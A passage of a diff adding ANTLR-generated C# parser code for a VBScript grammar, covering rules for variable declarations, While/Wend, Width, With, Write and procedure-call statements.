ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2581; + Match(WS); + } + } + + State = 2584; + Match(COMMA); + State = 2586; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2585; + Match(WS); + } + } + + State = 2588; + variableSubStmt(); + } + } + } + State = 2593; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,421,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class VariableSubStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SubscriptsContext subscripts() { + return GetRuleContext(0); + } + public VariableSubStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_variableSubStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVariableSubStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVariableSubStmt(this); + } + } + + [RuleVersion(0)] + public VariableSubStmtContext variableSubStmt() { + VariableSubStmtContext _localctx = new VariableSubStmtContext(Context, State); + EnterRule(_localctx, 240, RULE_variableSubStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2594; + ambiguousIdentifier(); + State = 2596; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,422,Context) ) { + case 1: + { + State = 2595; + typeHint(); + } + break; + } + State = 2615; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,428,Context) ) { + case 1: + { + State = 2599; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2598; + Match(WS); + } + } + + State = 2601; + Match(LPAREN); + State = 2603; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,424,Context) ) { + case 1: + { + State = 2602; + Match(WS); + } + break; + } + State = 2609; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & -9042665101823311905L) != 0) || ((((_la - 197)) & ~0x3f) == 0 && ((1L << (_la - 197)) & 70248481L) != 0)) { + { + State = 2605; + subscripts(); + State = 2607; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2606; + Match(WS); + } + } + + } + } + + State = 2611; + Match(RPAREN); + State = 2613; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,427,Context) ) { + case 1: + { + State = 2612; + Match(WS); + } + break; + } + } + break; + } + State = 2619; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,429,Context) ) { + case 1: + { + State = 2617; + Match(WS); + State = 2618; + asTypeClause(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class WhileWendStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WHILE() { return GetToken(VBScriptParser.WHILE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WEND() { return GetToken(VBScriptParser.WEND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext[] block() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public WhileWendStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_whileWendStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterWhileWendStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitWhileWendStmt(this); + } + } + + [RuleVersion(0)] + public WhileWendStmtContext whileWendStmt() { + WhileWendStmtContext _localctx = new WhileWendStmtContext(Context, State); + EnterRule(_localctx, 242, RULE_whileWendStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2621; + Match(WHILE); + State = 2622; + Match(WS); + State = 2623; + valueStmt(0); + State = 2625; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 2624; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 2627; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,430,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 2632; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,431,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2629; + block(); + } + } + } + State = 2634; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,431,Context); + } + State = 2638; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==NEWLINE || _la==INLINE_SEP) { + { + { + State = 2635; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2640; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 2641; + Match(WEND); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class WidthStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WIDTH() { return GetToken(VBScriptParser.WIDTH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public WidthStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_widthStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterWidthStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitWidthStmt(this); + } + } + + [RuleVersion(0)] + public WidthStmtContext widthStmt() { + WidthStmtContext _localctx = new WidthStmtContext(Context, State); + EnterRule(_localctx, 244, RULE_widthStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2643; + Match(WIDTH); + State = 2644; + Match(WS); + State = 2645; + valueStmt(0); + State = 2647; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2646; + Match(WS); + } + } + + State = 2649; + Match(COMMA); + State = 2651; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,434,Context) ) { + case 1: + { + State = 2650; + Match(WS); + } + break; + } + State = 2653; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class WithStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WITH() { return GetToken(VBScriptParser.WITH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_WITH() { return GetToken(VBScriptParser.END_WITH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEW() { return GetToken(VBScriptParser.NEW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public WithStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_withStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterWithStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitWithStmt(this); + } + } + + [RuleVersion(0)] + public WithStmtContext withStmt() { + WithStmtContext _localctx = new WithStmtContext(Context, State); + EnterRule(_localctx, 246, RULE_withStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2655; + Match(WITH); + State = 2656; + Match(WS); + State = 2659; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,435,Context) ) { + case 1: + { + State = 2657; + Match(NEW); + State = 2658; + Match(WS); + } + break; + } + State = 2661; + implicitCallStmt_InStmt(); + State = 2663; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 2662; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 2665; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,436,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 2673; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 2667; + block(); + State = 2669; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 2668; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2671; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + State = 2675; + Match(END_WITH); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class WriteStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WRITE() { return GetToken(VBScriptParser.WRITE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + [System.Diagnostics.DebuggerNonUserCode] public OutputListContext outputList() { + return GetRuleContext(0); + } + public WriteStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_writeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterWriteStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitWriteStmt(this); + } + } + + [RuleVersion(0)] + public WriteStmtContext writeStmt() { + WriteStmtContext _localctx = new WriteStmtContext(Context, State); + EnterRule(_localctx, 248, RULE_writeStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2677; + Match(WRITE); + State = 2678; + Match(WS); + State = 2679; + valueStmt(0); + State = 2681; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2680; + Match(WS); + } + } + + State = 2683; + Match(COMMA); + State = 2688; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,441,Context) ) { + case 1: + { + State = 2685; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,440,Context) ) { + case 1: + { + State = 2684; + Match(WS); + } + break; + } + State = 2687; + outputList(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ExplicitCallStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ECS_MemberProcedureCallContext eCS_MemberProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ECS_ProcedureCallContext eCS_ProcedureCall() { + return GetRuleContext(0); + } + public ExplicitCallStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_explicitCallStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterExplicitCallStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitExplicitCallStmt(this); + } + } + + [RuleVersion(0)] + public ExplicitCallStmtContext explicitCallStmt() { + ExplicitCallStmtContext _localctx = new ExplicitCallStmtContext(Context, State); + EnterRule(_localctx, 250, RULE_explicitCallStmt); + try { + State = 2692; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,442,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 2690; + eCS_MemberProcedureCall(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 2691; + eCS_ProcedureCall(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ECS_ProcedureCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CALL() { return GetToken(VBScriptParser.CALL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + public ECS_ProcedureCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_eCS_ProcedureCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterECS_ProcedureCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitECS_ProcedureCall(this); + } + } + + [RuleVersion(0)] + public ECS_ProcedureCallContext eCS_ProcedureCall() { + ECS_ProcedureCallContext _localctx = new ECS_ProcedureCallContext(Context, State); + EnterRule(_localctx, 252, RULE_eCS_ProcedureCall); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2694; + Match(CALL); + State = 2695; + Match(WS); + State = 2696; + ambiguousIdentifier(); + State = 2698; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,443,Context) ) { + case 1: + { + State = 2697; + typeHint(); + } + break; + } + State = 2713; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,447,Context) ) { + case 1: + { + State = 2701; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2700; + Match(WS); + } + } + + State = 2703; + Match(LPAREN); + State = 2705; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,445,Context) ) { + case 1: + { + State = 2704; + Match(WS); + } + break; + } + State = 2707; + argsCall(); + State = 2709; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2708; + Match(WS); + } + } + + State = 2711; + Match(RPAREN); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ECS_MemberProcedureCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CALL() { return GetToken(VBScriptParser.CALL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOT() { return GetToken(VBScriptParser.DOT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + public ECS_MemberProcedureCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_eCS_MemberProcedureCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterECS_MemberProcedureCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitECS_MemberProcedureCall(this); + } + } + + [RuleVersion(0)] + public ECS_MemberProcedureCallContext eCS_MemberProcedureCall() { + ECS_MemberProcedureCallContext _localctx = new ECS_MemberProcedureCallContext(Context, State); + EnterRule(_localctx, 254, RULE_eCS_MemberProcedureCall); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2715; + Match(CALL); + State = 2716; + Match(WS); + State = 2718; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,448,Context) ) { + case 1: + { + State = 2717; + implicitCallStmt_InStmt(); + } + break; + } + State = 2720; + Match(DOT); + State = 2722; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2721; + Match(WS); + } + } + + State = 2724; + ambiguousIdentifier(); + State = 2726; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,450,Context) ) { + case 1: + { + State = 2725; + typeHint(); + } + break; + } + State = 2741; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,454,Context) ) { + case 1: + { + State = 2729; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2728; + Match(WS); + } + } + + State = 2731; + Match(LPAREN); + State = 2733; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,452,Context) ) { + case 1: + { + State = 2732; + Match(WS); + } + break; + } + State = 2735; + argsCall(); + State = 2737; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2736; + Match(WS); + } + } + + State = 2739; + Match(RPAREN); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ImplicitCallStmt_InBlockContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ICS_B_MemberProcedureCallContext iCS_B_MemberProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_B_ProcedureCallContext iCS_B_ProcedureCall() { + return GetRuleContext(0); + } + public ImplicitCallStmt_InBlockContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_implicitCallStmt_InBlock; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterImplicitCallStmt_InBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitImplicitCallStmt_InBlock(this); + } + } + + [RuleVersion(0)] + public ImplicitCallStmt_InBlockContext implicitCallStmt_InBlock() { + ImplicitCallStmt_InBlockContext _localctx = new ImplicitCallStmt_InBlockContext(Context, State); + EnterRule(_localctx, 256, RULE_implicitCallStmt_InBlock); + try { + State = 2745; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,455,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 2743; + iCS_B_MemberProcedureCall(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 2744; + iCS_B_ProcedureCall(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class NoParenthesisArgsContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEMICOLON() { return GetToken(VBScriptParser.SEMICOLON, 0); } + [System.Diagnostics.DebuggerNonUserCode] public DelimitedLiteralContext delimitedLiteral() { + return GetRuleContext(0); + } + public NoParenthesisArgsContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_noParenthesisArgs; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterNoParenthesisArgs(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitNoParenthesisArgs(this); + } + } + + [RuleVersion(0)] + public NoParenthesisArgsContext noParenthesisArgs() { + NoParenthesisArgsContext _localctx = new NoParenthesisArgsContext(Context, State); + EnterRule(_localctx, 258, RULE_noParenthesisArgs); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2758; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,459,Context) ) { + case 1: + { + { + State = 2748; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 210)) & ~0x3f) == 0 && ((1L << (_la - 210)) & 71L) != 0)) { + { + State = 2747; + delimitedLiteral(); + } + } + + State = 2751; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2750; + Match(WS); + } + } + + State = 2753; + _la = TokenStream.LA(1); + if ( !(_la==COMMA || _la==SEMICOLON) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2755; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,458,Context) ) { + case 1: + { + State = 2754; + Match(WS); + } + break; + } + } + } + break; + case 2: + { + State = 2757; + Match(WS); + } + break; + } + State = 2761; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,460,Context) ) { + case 1: + { + State = 2760; + argsCall(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_B_ProcedureCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public CertainIdentifierContext certainIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public NoParenthesisArgsContext noParenthesisArgs() { + return GetRuleContext(0); + } + public ICS_B_ProcedureCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_B_ProcedureCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener 